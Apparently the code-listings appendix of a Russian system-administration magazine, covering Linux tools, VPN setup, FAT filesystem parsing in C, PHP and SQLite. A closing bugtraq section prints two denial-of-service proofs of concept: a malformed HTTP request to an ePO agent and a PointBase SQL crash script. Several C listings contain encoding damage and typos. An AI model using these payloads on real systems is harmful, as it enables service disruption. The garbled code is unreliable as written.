Запуск Windows-приложений под Linux c помощью CrossOver Office
Андрей Бешков
rpm -Uhv cxoffice-2.0.1-1.i386.rpm
# chstk -v /opt/cxoffice/bin/wineloader
/opt/cxoffice/bin/: Non-executable stack area
# chstk -e /opt/cxoffice/bin/wineloader
# chstk -v /opt/cxoffice/bin/wineloader
/opt/cxoffice/bin/: Executable stack area
$ /opt/cxoffice/bin/officesetup
/dev/cdrom /mnt/cdrom auto unhide,user,iocharset=koi8-r,exec,ro,noauto 0 0
cdrom -fstype=auto,unhide,ro,iocharset=koi8-r :/dev/cdrom
# service autofs restart
$ iconv -f cp-1251 -t utf-8 $HOME/.menu/cxoffice > $HOME/.menu/cxoffice
$ update-menus –n –u
$ /opt/cxoffice/bin/wine –-cx-app viewer.exe
$ /opt/cxoffice/bin/wine --workdir "/home/tigrisha/.cxoffice/dotwine/fake_windows/Program Files/QuickViewer" "C://Program Files//QuickViewer//viewer.exe"
$ /opt/cxoffice/bin/wine –wl-app viewer.exe
# KDE Config File
[Desktop Entry]
Name=Super Fast Graphic Viewer
Exec="/opt/cxoffice/bin/wine" --workdir "/home/tigrisha/.cxoffice/dotwine/fake_windows/Program Files/QuickViewer" "C://Program Files//QuickViewer//viewer.exe"
Type=Application
Comment=Super Fast Viewer
X-Created-by=CrossOver Office
Icon=/home/tigrisha/.cxoffice/dotwine/fake_windows/Windows/Icons/0050046416b9.14.xpm
[Desktop Entry]
Name= Super Fast Graphic Viewer
Type=Application
Exec="/opt/cxoffice/bin/wine" --workdir "/home/tigrisha/.cxoffice/dotwine/fake_windows/Program Files/QuickViewer" "C://Program Files//QuickViewer//viewer.exe"
X-Created-by=cxoffice
Icon=/home/tigrisha/.cxoffice/dotwine/fake_windows/Windows/Icons/0050046416b9.14.xpm
$ update-menus –n –u
Спасем пингвина
Сергей Яремчук
#tar -zxvf mindi-0.95_cvs_20040110.tgz
# cd mindi-0.95_cvs_20040110
# ./install.sh
# rpm -i mindi-0.95-1.i386.rpm
# cdrecord -blank fast dev=0,0,0 speed=12 /root/images/mindi/mindi.iso
#tar -xzvf mondo-1.75_cvs_20040110.tgz
# cd mondo-1.75_cvs_20040110
#./configure && make
#su
#make install
#usr/local/bin/mondoarchive
# mondoarchive -Oc 24 -g
#mondoarchive -Vc 24
# mount 192.168.0.10:/home/nfs -t nfs /mnt/nfs
# mondoarchive -OVn 192.168.1.3:/home/nfs -g -s 650m
# umount /mnt/nfs
#mondoarchive -E /mnt/dos /mnt/cdrom -9 -Ow 12
#compare
# interactive
Do you want to partition your devices? No
Т.е. хотим переразбить диск?
Do you want to format them? No
И форматировать его затем?
Do you want to restore everything? No
Надо ли восстанавливать всю информацию?
Do you want to restore something? Yes
Или хотим что-то восстановить выборочно?
Which path do you want to restore? /home/hugo [e.g.] /home
Какой именно раздел?
Do you want to run LILO to setup your boot sectors? No
Хотим ли восстановить LILO?
# mondorestore –mbr
# mondorestore
Мы с Linux этим ложимся и с Linux этим встаем – последствия гибернации
Антон Борисов
append="apm=power-off resume=/dev/hdc5 acpi=force"
lilo -v
echo 4 > /proc/acpi/sleep
/sbin/mkswap /dev/hdc5
dd if=/dev/hdc5 bs=1k count=4 2> /dev/null | strings | grep SWAP
"noresume init=/bin/sh"
dd if=/dev/hdc5 bs=1k count=4 2> /dev/null | strings | grep SUSP
cat /etc/mtab | grep smbfs
Простая установка MRTG для Red Hat Linux
Андрей Маркелов
rpm –qi <имя пакета>
rpm –i mrtg-2.x-y-z.i386.rpm
Title[eth0]: Traffic eth0
MaxBytes[eth0]: 125000
AbsMax[eth0]: 125000
Options[eth0]: gauge
Target[eth0]: `/usr/sbin/cban -i eth0 -m`
PageTop[eth0]:
eth0 statistics
YLegend[eth0]: Bytes/s
ShortLegend[eth0]: B/s
Legend1[eth0]: Incoming Traffic
Legend2[eth0]: Outgoing Traffic
Legend3[eth0]: Maximum Incoming Traffic
Legend4[eth0]: Maximum Outgoing Traffic
LegendI[eth0]: In:
LegendO[eth0]: Out:
WithPeak[eth0]: ymwd
. /usr/bin/mrtg /etc/mrtg/mrtg.cfg --logging /var/log/mrtg.log
crontab -e
*/5 * * * * /usr/bin/mrtg /etc/mrtg/mrtg.cfg --logging /var/log/mrtg.log
VPN success story (mini-HOWTO)
Андрей Мозговой
./configure
make
make install
PPP (point-to-point protocol) support
[*] PPP multilink support (EXPERIMENTAL)
[*] PPP filtering
PPP support for async serial ports
PPP support for sync tty ports
PPP Deflate compression
PPP BSD-Compress compression
PPP MPPE compression (encryption)
PPP over Ethernet (EXPERIMENTAL)
./configure --with-pppd-ip-alloc.
/* дополнительная опция для снятия ограничения
* на количество сессий и еще кое-что полезное с
* выделением IP-адресов.
*/
make
make install
Файл /etc/ppp/options
lock
Файл /etc/ppp/options.pptpd
#debug
ipparam PoPToP
lock
mtu 1490
mru 1490
ms-dns
proxyarp
auth
refuse-pap
refuse-chap
refuse-mschap
require-mschap-v2
require-mppe
require-mppe-128
ipcp-accept-local
ipcp-accept-remote
lcp-echo-failure 30
lcp-echo-interval 5
deflate 0
Файл /etc/pptpd.conf
#debug
speed 115200
option /etc/ppp/options.pptpd
#localip 10.0.0.1
#remoteip 10.0.0.2-254
Файл /etc/rc.d/rc.pptpd
#!/bin/sh
#
# /etc/rc.d/rc.pptpd
#
# description: control pptp server
#
case "$1" in
start)
modprobe ppp_async
modprobe ppp_generic
modprobe ppp_mppe
modprobe slhc
if /usr/local/sbin/pptpd; then
touch /var/lock/subsys/pptpd
fi
;;
stop)
killall –TERM pptpd
rm -f /var/lock/subsys/pptpd
;;
restart)
killall pptpd
if /usr/local/sbin/pptpd; then
touch /var/lock/subsys/pptpd
fi
;;
status)
ifconfig
;;
*)
echo "Usage: $0 {start|stop|restart|status}"
;;
esac
# Secrets for authentication using CHAP
# client server secret IP addresses
test * test 192.168.1.5
Frenzy: FreeBSD в кармане сисадмина
Сергей Можайский
options CD9660
options CD9660_ROOT
vfs.root.mountfrom="cd9660:acd0a"
diskless_mount="/etc/rc.frenzy"
mkisofs -b boot/cdboot -no-emul-boot -r -J -D -V Frenzy_02 -o iso/frenzy_v02_release.iso FRENZY
Работа с утилитой make
Антон Иванов
tar xzvf имя_файла.tar.gz
или
tar xjvf имя_файла.tar.bz2
echo $?
make install
su -c make install
make clean
make distclean
make uninstall
make: *** Не заданы цели и не найден make-файл. Останов.
make: *** Нет правила для сборки цели 'uninstall'. Останов.
ls Makefile*
make -f Makefile.cvs
make -i
VERSION = 2
PATCHLEVEL = 6
SUBLEVEL = 1
EXTRAVERSION =
VERSION = 3
PATCHLEVEL = 0
SUBLEVEL = 0
EXTRAVERSION = topsecret
TOPSUBDIRS = <...> kdf kedit kfloppy <...>
cc main.c
main.c:
#include
int main()
{
int a, rslt;
printf("Program calculates the square of a number.\n");
printf("Please enter an integer: ");
scanf("%d", &a);
rslt = kvadrat(a);
printf("%d x %d = %d\n", a, a, rslt);
return 0;
}
kvadrat.c:
int kvadrat(number)
{
return number * number;
}
цель: зависимость_1 зависимость_2 зависимость_N
команда_1
команда_N
kv: main.o kvadrat.o
cc -o kv main.o kvadrat.o
strip kv
main.o: main.c
cc -c -o main.o main.c
kvadrat.o: kvadrat.c
cc -c -o kvadrat.o kvadrat.c
./kv
clean:
rm -f *.o kv
install: kv
install -D -m 544 kv /opt/kv/kv
install <параметры> /opt/kv/file1
install <параметры> /opt/kv/file2 и т.д.
INSTALL_PATH = /opt/kv/
install -D -m 544 kv $(INSTALL_PATH)/kv
INSTALL_PATH = /opt/kv/`uname -r`/
backup: backup/1 backup/2 backup/3
: Backup completed
backup/1: 1
cp 1 ~/backup
backup/2: 2
cp 2 ~/backup
backup/3: 3
cp 3 ~/backup
Архитектура файловой системы FAT
Владимир Мешков
#include
#include
#include
#include
#include
#include "split.h"
#include
// максимальная длина короткого имени файла
#define SHORT_NAME 13
struct split_name {
__u8 name[9]; // имя файла
__u8 ext[4]; // расширение файла
int name_len, // длина имени файла
ext_len; // длина расширения файла
};
#ifndef FAT16_PART_NAME
#define FAT16_PART_NAME "/dev/hda1"
#endif
__u16 *fat16; // сюда копируем таблицу FAT16
__u16 sector_size; // размер сектора (из FAT16)
__u16 dir_entries; // число 32-байтных дескрипторов
// в root-каталоге (0 для FAT32)
__u16 sectors; // общее число секторов в разделе
__u32 fat16_size; // размер FAT16
__u32 root_size; // размер корневого каталога
__u32 data_start; // начало области данных
__u16 byte_per_cluster; // размер кластера в байтах
__u16 next_cluster; // очередной кластер в цепочке
__u8 *dir_entry = NULL; // указатель на записи каталога
int hard; // дескриптор файла устройства
int fat;
int main()
{
int num;
__u8 *full_path = "/Folder1/Folder2/text.txt";
hard = open(FAT16_PART_NAME, O_RDONLY);
if(hard < 0) {
perror(FAT16_PART_NAME);
exit(-1);
}
num = fat16_read_file(full_path, 10);
if(num < 0) perror("fat16_read_file");
else printf("Read %d clusters\n", num);
close(hard);
return 0;
}
int fat16_read_file(__u8 *full_path, int num)
{
// структура для хранения составных частей файла
struct split_name sn;
// буфер для временного хранения составных элементов
// полного пути файла
__u8 tmp_name_buff[SHORT_NAME];
static int i = 1;
int n;
__u8 *tmp_buff;
__u16 start_cluster, next_cluster;
memset(tmp_name_buff, 0, SHORT_NAME);
memset((void *)&sn, 0, sizeof(struct split_name));
if(full_path[0] != '/') return -1;
if(read_fbs() < 0) return -1;
memcpy((void *)§or_size, (void *)fbs.sector_size, 2);
memcpy((void *)&dir_entries, (void *)fbs.dir_entries, 2);
memcpy((void *)§ors, (void *)fbs.sectors, 2);
byte_per_cluster = fbs.cluster_size * 512;
printf("System id - %s\n", fbs.system_id);
printf("Sector size - %d\n", sector_size);
printf("Cluster size - %d\n", fbs.cluster_size);
printf("Reserved - %d\n", fbs.reserved);
printf("FATs number - %d\n",fbs.fats);
printf("Dir entries - %d\n", dir_entries);
printf("Sectors - %d\n", sectors);
printf("Media - 0x%X\n", fbs.media);
printf("FAT16 length - %u\n", fbs.fat_length);
printf("Total sect - %u\n", fbs.total_sect);
printf("Byte per cluster - %d\n", byte_per_cluster);
fat16_size = fbs.fat_length * 512;
if(read_fat16() < 0) return -1;
if(read_root_dentry() < 0) return -1;
#ifdef DEBUG
fat = open("dir16", O_CREAT|O_WRONLY, 0600);
write(fat, dir_entry, root_size);
close(fat);
#endif
data_start = 512 * fbs.reserved + fat16_size * fbs.fats + root_size;
while(1) {
memset(tmp_name_buff, 0, SHORT_NAME);
memset((void *)&sn, 0, sizeof(struct split_name));
for(n = 0 ; n < SHORT_NAME; n++, i++) {
tmp_name_buff[n] = full_path[i];
if((tmp_name_buff[n] == '/') || (tmp_name_buff[n] == '\0')) {
i++;
break;
}
}
tmp_name_buff[n] = '\0';
if(split_name(tmp_name_buff, &sn) < 0) {
printf("not valid name\n");
return -1;
}
if(get_dentry(&sn) < 0) {
printf("No such file!\n");
return -1;
}
if(dentry.attr & 0x10) {
if(read_directory(dentry.start) < 0) return -1;
continue;
}
if(dentry.attr & 0x20) {
start_cluster = dentry.start;
// сюда будет считываться содержимое кластера
tmp_buff = (__u8 *)malloc(byte_per_cluster);
// в этом файле сохраним считанную информацию
n = open("clust", O_CREAT|O_RDWR, 0600);
if(n < 0) {
perror("open");
return -1;
}
printf("file`s first cluster - 0x%X .. ", start_cluster);
for(i = 0; i < num; i++) {
memset(tmp_buff, 0, byte_per_cluster);
if(read_cluster(start_cluster, tmp_buff) < 0) return -1;
if(write(n, tmp_buff, byte_per_cluster) < 0) {
perror("write");
close(n);
return -1;
}
next_cluster = fat16[start_cluster];
#ifdef DEBUG
printf("OK. Readed\n");
printf("file`s next cluster - 0x%X .. ", next_cluster);
#endif
if(next_cluster == EOF_FAT16) {
#ifdef DEBUG
printf("last cluster.\n");
#endif
free(tmp_buff);
close(n);
return ++i;
}
start_cluster = next_cluster;
}
#ifdef DEBUG
printf("stop reading\n");
#endif
return i;
}
}
}
int read_fbs()
{
if(read(hard,(__u8 *)&fbs, sizeof(fbs)) < 0) return -1;
return 0;
}
int read_fat16()
{
// смещение к FAT16 от начала раздела
__u64 seek = (__u64)(fbs.reserved) * 512;
fat16 = (void *)malloc(fat16_size);
if(pread64(hard, (__u8 *)fat16, fat16_size, seek) < 0) return -1;
return 0;
}
int read_root_dentry()
{
// смещение к корневому каталогу от начала раздела
__u64 seek = (__u64)fbs.reserved * 512 + fat16_size * fbs.fats;
// вычисляем размер корневого каталога
root_size = 32 * dir_entries;
dir_entry = (__u8 *)malloc(root_size);
if(!dir_entry) return -1;
memset(dir_entry, 0, root_size);
if(pread64(hard, dir_entry, root_size, seek) < 0) return -1;
return 0;
}
SEEK = DATA_START + (CLUSTER_NUM - 2) * BYTE_PER_CLUSTER,
где
SEEK – смещение к кластеру на разделе;
DATA_START – начало области данных;
CLUSTER_NUM – порядковый номер кластера;
BYTE_PER_CLUSTER – размер кластера в байтах.
int read_cluster(__u16 cluster_num, __u8 *tmp_buff)
{
// вычисляем смещение к кластеру
__u64 seek = (__u64)(byte_per_cluster) * (cluster_num - 2) + data_start;
if(pread64(hard, tmp_buff, byte_per_cluster, seek) < 0) return -1;
return 0;
}
int read_directory(__u16 start_cluster)
{
int i = 1;
__u16 next_cluster;
for(; ;i++) {
dir_entry = (__u8 *)realloc(dir_entry, i * byte_per_cluster);
if(!dir_entry) return -1;
if(read_cluster(start_cluster, (dir_entry + (i - 1) * byte_per_cluster)) < 0) return -1;
next_cluster = fat16[start_cluster];
#ifdef DEBUG
printf("Next cluster - 0x%X\n", next_cluster);
fat = open("dir16", O_CREAT|O_WRONLY, 0600);
write(fat, dir_entry, root_size);
close(fat);
#endif
if(next_cluster & EOF_FAT16) break;
start_cluster = next_cluster;
}
return 0;
}
int get_dentry(struct split_name *sn)
{
int i = 0;
for(; ; i++) {
memcpy((void *)&dentry, dir_entry + i * sizeof(dentry), sizeof(dentry));
if(!(memcmp(dentry.name, sn->name, sn->name_len)) && !(memcmp(dentry.ext, sn->ext, n->ext_len)))
break;
if(!dentry.name[0]) return -1;
}
#ifdef DEBUG
printf("name - %s\n", dentry.name);
printf("start cluster - 0x%X\n", dentry.start);
printf("file size - %u\n", dentry.size);
printf("file attrib - 0x%X\n", dentry.attr);
#endif
return 0;
}
INCDIR = /usr/src/linux/include
.PHONY = clean
fat16: fat16.o split.o
gcc -I$(INCDIR) $^ -g -o $@
%.o: %.c
gcc -I$(INCDIR) -DDEBUG -c $^
clean:
rm -f *.o
rm -f ./fat16
int get_cluster(__u16 cluster_num)
{
__u16 seek;
__u16 clust;
seek = (cluster_num * 3) / 2;
memcpy((__u8 *)&clust, (__u8 *)(fat12 + seek), 2);
if(cluster_num % 2) clust >>= 4;
else clust &= 0x0FFF;
asm(
" xorw %%ax, %%ax \n\t"
" btw $0, %%cx \n\t"
" jnc 1f \n\t"
" shrw $4, %%dx \n\t"
" jmp 2f \n\t"
"1: andw $0x0FFF, %%dx \n\t"
"2: movw %%dx, %%ax \n\t"
:"=a" (next)
:"d" (clust), "c" (cluster_num));
return clust;
}
struct pt_struct {
u8 bootable; // флаг активности раздела
u8 start_part[3]; // координаты начала раздела
u8 type_part; // системный идентификатор
u8 end_part[3]; // координаты конца раздела
u32 sect_before; // число секторов перед разделом
u32 sect_total; // размер раздела в секторах (число секторов в разделе)
};
#include
#include
#include
#include
#include
#define SIGNATURE 0xAA55
#define DEVICE "/dev/hda"
#define PT_SIZE 0x10
struct systypes {
__u8 part_type;
__u8 *part_name;
};
struct systypes i386_sys_types[] = {
{0x00, "Empty"},
{0x01, "FAT12"},
{0x04, "FAT16 <32M"},
{0x05, "Extended"},
{0x06, "FAT16"},
{0x0b, "Win95 FAT32"},
{0x0c, "Win95 FAT32 (LBA)"},
{0x0e, "Win95 FAT16 (LBA)"},
{0x0f, "Win95 Ext'd (LBA)"},
{0x82, "Linux swap"},
{0x83, "Linux"},
{0x85, "Linux extended"},
{0x07, "HPFS/NTFS"}
};
#define PART_NUM (sizeof(i386_sys_types) / sizeof(i386_sys_types[0]))
#define MAX_PART 20
struct pt_struct {
__u8 bootable;
__u8 start_part[3];
__u8 type_part;
__u8 end_part[3];
__u32 sect_before;
__u32 sect_total;
} pt_t[MAX_PART];
int hard; // дескриптор файла устройства
__u8 mbr[512]; // сюда считаем MBR
#define FAT32_PART_NUM 5
struct fat_boot_sector fbs;
struct fat_boot_fsinfo fsinfo;
struct msdos_dir_entry dentry;
__u32 *fat32 = NULL; // сюда копируем таблицу FAT32
__u16 sector_size; // размер сектора (из FAT32)
__u16 dir_entries; // 0 для FAT32
__u16 sectors; // число секторов на разделе
__u32 fat32_size; // размер FAT32
__u32 data_start; // начало области данных
__u16 byte_per_cluster; // сколько байт в кластере (размер кластера в байтах)
__u32 next_cluster; // очередной кластер в цепочке
__u32 root_cluster; // ROOT cluster – начальный кластер корневого каталога
__u8 *dir_entry = NULL; // указатель на записи каталога
__u64 start_seek = 0; // стартовое смещение к разделу (в байтах)
int main()
{
int num = 0;
int cluster_num = 5; // сколько кластеров считывать из файла
__u8 *full_path = "/Folder1/Folder2/readme"; // файл для считывания
hard = open(DEV_NAME, O_RDONLY);
if(hard < 0) {
perror(DEV_NAME);
exit(-1);
}
if(get_pt_info(hard) < 0) {
perror("get_pt_info");
exit(-1);
}
show_pt_info();
start_seek = (__u64)(pt_t[FAT32_PART_NUM - 1].sect_before) * 512;
num = fat32_read_file(full_path, cluster_num);
if(num < 0) perror("fat32_read_file");
else printf("Read %d clusters\n", num);
close(hard);
return 0;
}
int get_pt_info(int hard)
{
int i = 0;
__u64 seek;
read_main_ptable(hard);
if(check_sign() < 0) {
printf("Not valid signature!\n");
return -1;
}
for(; i < 4; i++) {
if((pt_t[i].type_part == 0xF) || (pt_t[i].type_part == 0x5) || (pt_t[i].type_part == 0x0C)) {
seek = (__u64)pt_t[i].sect_before * 512;
read_ext_ptable(hard, seek);
break;
}
}
return 0;
}
void read_main_ptable(int hard)
{
if(read(hard, mbr, 512) < 0) {
perror("read");
close(hard);
exit(-1);
}
memset((void *)pt_t, 0, (PT_SIZE * 4));
memcpy((void *)pt_t, mbr + 0x1BE, (PT_SIZE * 4));
return;
}
int check_sign()
{
__u16 sign = 0;
memcpy((void *)&sign, (void *)(mbr + 0x1FE), 2);
#ifdef DEBUG
printf("Signature - 0x%X\n", sign);
#endif
if(sign != SIGNATURE) return -1;
return 0;
}
void read_ext_ptable(int hard, __u64 seek)
{
// начиная с этой позиции, массив структур pt_t будет
// заполняться информацией о логических дисках
int num = 4;
__u8 smbr[512];
for(;;num++) {
memset((void *)smbr, 0, 512);
pread64(hard, smbr, 512, seek);
memset((void *)&pt_t[num], 0, PT_SIZE * 2);
memcpy((void *)&pt_t[num], smbr + 0x1BE, PT_SIZE * 2);
pt_t[num].sect_before += (seek / 512);
if(!(pt_t[num + 1].type_part)) break;
seek = ((__u64)(pt_t[num].sect_before + pt_t[num].sect_total)) * 512;
}
return;
}
void show_pt_info()
{
int i = 0, n;
#ifdef DEBUG
printf("Число разделов на диске - %d\n", PART_NUM);
#endif
for(; i < MAX_PART; i++) {
if(!pt_t[i].type_part) break;
printf("\nТип раздела %d - ", i);
for(n = 0; n < PART_NUM; n++) {
if(pt_t[i].type_part == i386_sys_types[n].part_type) {
printf("%s\n", i386_sys_types[n].part_name);
break;
}
}
if(n == PART_NUM) printf("unknown type\n");
printf("Признак загрузки - 0x%X\n", pt_t[i].bootable);
printf("Секторов в разделе %d - %d\n", i, pt_t[i].sect_total);
printf("Секторов перед разделом %d - %d\n\n", i, pt_t[i].sect_before);
}
return;
}
int fat32_read_file(__u8 *full_path, int num)
{
struct split_name sn;
__u8 tmp_name_buff[SHORT_NAME];
int i = 1, n;
__u32 start_cluster, next_cluster;
__u8 *tmp_buff;
memset(tmp_name_buff, 0, SHORT_NAME);
memset((void *)&sn, 0, sizeof(struct split_name));
if(full_path[0] != '/') return -1
if(read_fbs() < 0) return -1;
memcpy((void *)§or_size, (void *)fbs.sector_size, 2);
memcpy((void *)&dir_entries, (void *)fbs.dir_entries, 2);
memcpy((void *)§ors, (void *)fbs.sectors, 2);
if(read_fs_info() < 0) return -1;
printf("Signature1 - 0x%X\n", fsinfo.signature1);
printf("Signature2 - 0x%X\n", fsinfo.signature2);
fat32_size = fbs.fat32_length * 512; // размер FAT32 в байтах
data_start = 512 * fbs.reserved + fat32_size * 2; // начало поля данных
byte_per_cluster = fbs.cluster_size * 512; // размер кластера в байтах
root_cluster = fbs.root_cluster; // номер кластера корневого каталога
if(read_fat32() < 0) return -1;
dir_entry = (__u8 *)malloc(byte_per_cluster);
if(!dir_entry) return -1;
if(read_directory(root_cluster) < 0) return -1;
while(1) {
memset(tmp_name_buff, 0, SHORT_NAME);
memset((void *)&sn, 0, sizeof(struct split_name));
for(n = 0 ; n < SHORT_NAME; n++, i++) {
tmp_name_buff[n] = full_path[i];
if((tmp_name_buff[n] == '/') || (tmp_name_buff[n] == '\0')) {
i++;
break;
}
}
tmp_name_buff[n] = '\0';
if(split_name(tmp_name_buff, &sn) < 0) {
printf("not valid name\n");
eturn -1;
}
if(get_dentry(&sn) < 0) {
printf("No such file!\n");
return -1;
}
start_cluster = (((__u32)dentry.starthi << 16) | dentry.start);
if(dentry.attr & 0x10) { // это каталог
if(read_directory(start_cluster) < 0) return -1;
continue;
}
if(dentry.attr & 0x20) { // а это - файл
tmp_buff = (__u8 *)malloc(byte_per_cluster);
n = open("clust", O_CREAT|O_RDWR, 0600);
if(n < 0) {
perror("open");
return -1;
}
printf("file`s first cluster - 0x%X .. ", start_cluster);
for(i = 0; i < num; i++) {
memset(tmp_buff, 0, byte_per_cluster);
if(read_cluster(start_cluster, tmp_buff) < 0) return -1;
if(write(n, tmp_buff, byte_per_cluster) < 0) {
perror("write");
return -1;
}
next_cluster = fat32[start_cluster];
if(next_cluster == EOF_FAT32) {
free(tmp_buff);
close(n);
return ++i;
}
start_cluster = next_cluster;
}
return i;
}
}
}
int read_fbs()
{
if(pread64(hard, (__u8 *)&fbs, sizeof(fbs), start_seek) < 0) return -1;
return 0;
}
int read_fs_info()
{
__u64 seek = (__u64)fbs.info_sector * 512 + start_seek;
if(pread64(hard, (__u8 *)&fsinfo, sizeof(fsinfo), seek) < 0) return -1;
return 0;
}
int read_fat32()
{
__u64 seek = (__u64)fbs.reserved * 512 + start_seek;
fat32 = (void *)malloc(fat32_size);
if(!fat32) return -1;
if(pread64(hard, (__u8 *)fat32, fat32_size, seek) < 0) return -1;
return 0;
}
int read_cluster(__u32 cluster_num, __u8 *tmp_buff)
{
__u64 seek = (__u64)(byte_per_cluster) * (cluster_num - 2) + data_start + start_seek;
if(pread64(hard, tmp_buff, byte_per_cluster, seek) < 0) return -1;
return 0;
}
int read_directory(__u32 start_cluster)
{
int i = 2;
__u32 next_cluster;
if(read_cluster(start_cluster, dir_entry) < 0) return -1;
next_cluster = fat32[start_cluster];
if((next_cluster == EOF_FAT32) || (next_cluster == ї
0xFFFFFF8)) return 0;
for(; ;i++) {
start_cluster = next_cluster;
dir_entry = (__u8 *)realloc(dir_entry, i * byte_per_cluster);
if(!dir_entry) return -1;
if(read_cluster(start_cluster, (dir_entry + (i - 1) * byte_per_cluster)) < 0) return -1;
next_cluster = fat32[start_cluster];
if((next_cluster == EOF_FAT32) || (next_cluster == 0xFFFFFF8)) return 0;
}
return 0;
}
int get_dentry(struct split_name *sn)
{
int i = 0;
for(;;i++) {
memcpy((void *)&dentry, dir_entry + i * sizeof(dentry), sizeof(dentry));
if(!(memcmp(dentry.name, sn->name, sn->name_len)) && !(memcmp(dentry.ext, sn->ext, sn->ext_len)))
break;
if(!dentry.name[0]) return -1;
}
return 0;
}
int get_i_num(char *name)
{
int i = 0, rec_len = 0;
struct ext2_dir_entry_2 dent;
for(; i < 700; i++) {
memcpy((void *)&dent, (buff + rec_len), sizeof(dent));
if(!memcmp(dent.name, name, dent.name_len)) break;
rec_len += dent.rec_len;
}
return dent.inode;
}
int get_i_num(char *name)
{
/* Параметр функции – имя файла. Возвращаемое значение –
* номер inode файла.
*/
int rec_len = 0;
// эта структура описывает формат записи корневого каталога:
struct ext2_dir_entry_2 dent;
/* В глобальном буфере buff находится массив записей каталога.
* Для определения порядкового номера inode файла необходимо
* найти в этом массиве запись с именем этого файла.
* Для этого организуем цикл:
*/
for(;;) {
/* Копируем в структуру dent записи каталога: */
memcpy((void *)&dent, (buff + rec_len), sizeof(dent));
/* Длина имени файла, равная нулю, означает, что мы
* перебрали все записи каталога и записи с именем
* нашего файла не нашли. Значит, пора возвращаться:
*/
if(!dent.name_len) return -1;
/* Поиск выполняется путем сравнения имен файлов.
* Если имена совпадают - выходим из цикла:
*/
if(!memcmp(dent.name, name, strlen(name))) break;
/* Если имена не совпали - смещаемся к следующей записи:
*/
rec_len += dent.rec_len;
}
/* В случае успеха возвращаем номер inode файла: */
return dent.inode;
}
Кэширование веб-сценариев
Андрей Уваров
Начало кэширования.
// cashe_begin.inc.php
if(file_exists($fname) and (time()-filemtime($fname)) < $time2live){
require($fname);
exit();
}
ob_start();
?>
Конец кэширования.
// cashe_end.inc.php
$file= @fopen($fname, “w”);
@fwrite($file, ob_get_contents());
ob_end_flush(); // вывод содержимого буфера пользователю
ob_end_clean(); // очистка буфера
?>
Тело сценария.
// test.php
$fname= './tmp'.'/test.php'.getenv("QUERY_STRING");
// в каталоге примера необходимо создать подкаталог
// tmp с правами «write by others»
// в этом каталоге будут храниться временные файлы
$time2live= 10;
// устанавливаем время обновления кэша в 10 секунд
globals $fname, $time2live;
require('cashe_begin.inc.php');
?>
echo "\n";
echo time();
echo "\n";
?>
require("cashe_end.inc.php");
?>
http://nowhere.no/index.php?id1=a&id2=b
http://nowhere.no/index.php?id2=b&id1=a
Использование SQLite и PHP 5
Денис Колисниченко
extension=php_sqlite.dll
tar xzf sqlite.tar.gz # Распаковываем архив в каталог «sqlite»
mkdir bld # Создаем каталог для сборки SQLite – «bld»
cd bld # Переходим в этот каталог
../sqlite/configure # Запускаем конфигуратор
make # Запускаем make для сборки SQLite
resource sqlite_open ( string filename [, int mode [, string &error_message]])
sqlite_close( resource dbhandle )
resource sqlite_popen ( string filename [, int mode [, string &error_message]])
resource sqlite_query ( resource dbhandle, string query [,int result_type])
resource sqlite_query ( string query, resource dbhandle [,int result_type])
Листинг 1. Открытие и закрытие базы данных
mixed sqlite_column ( resource result, mixed index_or_name [, bool decode_binary])
string sqlite_fetch_single ( resource result [, int result_type [, bool decode_binary]])
Листинг 2. Функция sqlite_fetch_single
0) {
// печатаем значение «77»
echo sqlite_fetch_single($res);
}
sqlite_close($dbhandle);
}
?>
array sqlite_array_query ( resource dbhandle, string query [, int result_type [, bool decode_binary]])
bool sqlite_next ( resource result)
bool sqlite_rewind ( resource result)
bool sqlite_seek ( resource result, int rownum)
int sqlite_changes ( resource dbhandle)
string sqlite_field_name ( resource result, int field_index)
bool sqlite_has_more ( resource result)
int sqlite_last_error ( resource dbhandle)
string sqlite_error_string( resource dbhandle )
int sqlite_num_rows(resource dbhandle)
int sqlite_num_fields(resource dbhandle)
void sqlite_busy_timeout ( resource dbhandle, int milliseconds)
CREATE TABLE t1(a INTEGER, b INTEGER, c VARCHAR(100));
INSERT INTO t1 VALUES(1,13153,'thirteen thousand one hundred fifty three');
INSERT INTO t1 VALUES(2,75560,'seventy five thousand five hundred sixty');
... 995 строк пропущено
INSERT INTO t1 VALUES(998,66289,'sixty six thousand two hundred eighty nine');
INSERT INTO t1 VALUES(999,24322,'twenty four thousand three hundred twenty two');
INSERT INTO t1 VALUES(1000,94142,'ninety four thousand one hundred forty two');
BEGIN;
SELECT count(*), avg(b) FROM t2 WHERE b>=0 AND b
SELECT count(*), avg(b) FROM t2 WHERE b>=100 AND b
... 96 строк пропущено
SELECT count(*), avg(b) FROM t2 WHERE b>=9800 AND b
SELECT count(*), avg(b) FROM t2 WHERE b>=9900 AND b
COMMIT;
BEGIN;
SELECT count(*), avg(b) FROM t2 WHERE c LIKE '%one%';
SELECT count(*), avg(b) FROM t2 WHERE c LIKE '%two%';
... 96 строк пропущено
SELECT count(*), avg(b) FROM t2 WHERE c LIKE '%ninety nine%';
SELECT count(*), avg(b) FROM t2 WHERE c LIKE '%one hundred%';
COMMIT;
BEGIN;
UPDATE t2 SET b=468026 WHERE a=1;
UPDATE t2 SET b=121928 WHERE a=2;
... 24996 строк пропущено
UPDATE t2 SET b=35065 WHERE a=24999;
UPDATE t2 SET b=347393 WHERE a=25000;
COMMIT;
BEGIN;
UPDATE t2 SET c='one hundred forty eight thousand three hundred eighty two' WHERE a=1;
UPDATE t2 SET c='three hundred sixty six thousand five hundred two' WHERE a=2;
... 24996 строк пропущено
UPDATE t2 SET c='three hundred eighty three thousand ninety nine' WHERE a=24999;
UPDATE t2 SET c='two hundred fifty six thousand eight hundred thirty' WHERE a=25000;
COMMIT;
bugtraq стр. 64
POST /spipe/pkg?AgentGuid={}&Source=Agent_3.0.0 HTTP/1.0
Accept: application/octet-stream
Accept-Language: en-us
Content-Type: application/octet-stream
User-Agent: Mozilla/4.0 (compatible; SPIPE/3.0; Windows)
Host: KILL_EPO
Content-Length: -1
Connection: Keep-Alive
.(.!-- pointbase denial-of-service by marc schoenefeld --".).
.(.project default="dos".).
.(.property name="host" value="192.168.0.7"/.).
.(.target name="dos".).
.(.sql
driver="com.pointbase.jdbc.jdbcUniversalDriver"
url="jdbc:pointbase://${host}:9092/sample"
userid="pbpublic"
password="pbpublic"
print="true"
.).
.(.![CDATA[
//DROP FUNCTION CRASH5(VARCHAR(20));
CREATE FUNCTION CRASH5(IN P1 VARCHAR(20)) RETURNS VARCHAR(20)
LANGUAGE JAVA NO SQL EXTERNAL NAME
"sun.misc.MessageUtils::toStderr" PARAMETER STYLE SQL;
